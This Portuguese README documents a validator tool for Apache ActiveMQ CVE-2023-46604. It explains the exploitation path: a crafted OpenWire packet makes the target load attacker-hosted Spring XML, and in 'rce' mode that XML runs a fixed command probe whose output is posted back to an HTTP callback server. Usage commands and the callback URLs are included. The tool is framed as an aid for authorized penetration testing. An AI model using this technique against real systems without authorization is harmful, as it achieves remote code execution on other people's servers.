
Validador não destrutivo para Apache ActiveMQ CVE-2023-46604. Envia pacotes OpenWire personalizados, usa servidor de callback HTTP para confirmar RCE ou carregamento de XML, e gera evidências em CSV/JSON para testes de penetração autorizados.
Um validador de arquivo único e não destrutivo para Apache ActiveMQ CVE-2023-46604. Ele inicia seu próprio servidor de callback HTTP, gera XML Spring específico para o alvo em memória, envia o pacote OpenWire manipulado, correlaciona callbacks com tokens únicos e grava evidências em CSV/JSON.
O projeto foi projetado para testes de penetração autorizados e validação de frotas. Ele deliberadamente não implementa reverse shells, execução irrestrita de comandos, expansão CIDR, persistência ou preparação de payloads.
Dois modos de prova fixos estão disponíveis:
rce executa uma sonda de identidade fixa e somente leitura e retorna sua saída ao servidor HTTP integrado. Um callback confirma a execução de comandos do sistema operacional no contexto do serviço ActiveMQ.xml serve um contexto Spring vazio. Uma busca confirma que a mensagem OpenWire manipulada fez o alvo instanciar ClassPathXmlApplicationContext e recuperar XML controlado pelo atacante, sem iniciar um processo.Nenhum arquivo XML precisa ser criado ou hospedado separadamente.
--fail-on-vuln compatível com CIA porta OpenWire padrão é 61616, mas portas não padrão são suportadas.
Use endereços apenas para documentação nos exemplos; substitua-os pelos seus ativos autorizados.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
O script inicia o servidor de callback automaticamente em TCP/8000, serve o XML gerado, envia o pacote OpenWire, aguarda evidências, imprime uma tabela de resultados e grava:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Crie targets.txt:
# Um host explicitamente autorizado por linha
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Execute:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Arquivos de alvos podem conter linhas em branco e comentários que começam com #. A expansão CIDR não é suportada intencionalmente; enumere o inventário autorizado explicitamente.
Para redes roteadas simples, omita --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
A ferramenta seleciona o endereço de origem local usado para rotear em direção ao primeiro alvo. Especifique --callback-host ao testar através de NAT, VPNs, contêineres, hosts de salto ou sistemas multi-homed.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
A sonda do Windows usa um comando PowerShell fixo e não interativo para retornar a identidade do serviço, o nome do computador e a versão do SO. Ela não fornece um shell interativo.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Este modo não instancia ProcessBuilder.
Use um alvo ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Para um listener interno com certificado não confiável:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify afeta apenas a conexão TLS OpenWire. O servidor de callback é HTTP.
| Status | Significado |
|---|---|
CONFIRMED_VULNERABLE_RCE | O alvo buscou seu XML e o comando de identidade fixo retornou evidências. |
CONFIRMED_VULNERABLE_XML_LOAD | No modo xml, o alvo buscou o documento XML exclusivo. |
VULNERABLE_XML_LOAD_ONLY | No modo rce, a recuperação do XML ocorreu, mas o callback do comando não. O caminho vulnerável de instanciação de classe é confirmado; ferramentas de callback, egress ou execução de processos podem estar restritas. |
NOT_CONFIRMED | O pacote foi enviado, mas nenhuma evidência HTTP correlacionada chegou antes do prazo. Isso não é prova de que o host está corrigido. |
UNREACHABLE | A conexão TCP/TLS ou o envio do pacote falhou. |
Um broker corrigido, porta incorreta, filtragem de egress, problemas de roteamento, incompatibilidade de TLS e controles de endpoint podem afetar a validação baseada em callback. Preserve os timestamps de CSV/JSON e a saída do callback como evidência de relatório.
A sonda de identidade do Linux retorna uma saída semelhante a:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Ela tenta curl, wget e BusyBox wget para o POST HTTP. Se o XML for buscado, mas nenhum desses clientes estiver disponível, o resultado é VULNERABLE_XML_LOAD_ONLY em vez de um falso negativo.
0: validação concluída, ou vulnerabilidades encontradas sem --fail-on-vuln2: pelo menos um resultado vulnerável foi encontrado e --fail-on-vuln foi fornecidoExemplo de uso em CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
O CVE-2023-46604 afeta o unmarshalling OpenWire do Java. O validador envia um ExceptionResponse OpenWire com marshalling solto cuja classe de exceção é:
org.springframework.context.support.ClassPathXmlApplicationContext
A mensagem de exceção é a URL exclusiva do XML Spring gerado. O código vulnerável do ActiveMQ instancia a classe selecionada pelo atacante com essa URL. No modo rce, o contexto Spring inicia uma sonda ProcessBuilder fixa; no modo xml, o contexto está vazio.
Cada alvo recebe um token diferente, por exemplo:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Isso permite que callbacks simultâneos sejam atribuídos ao alvo correto.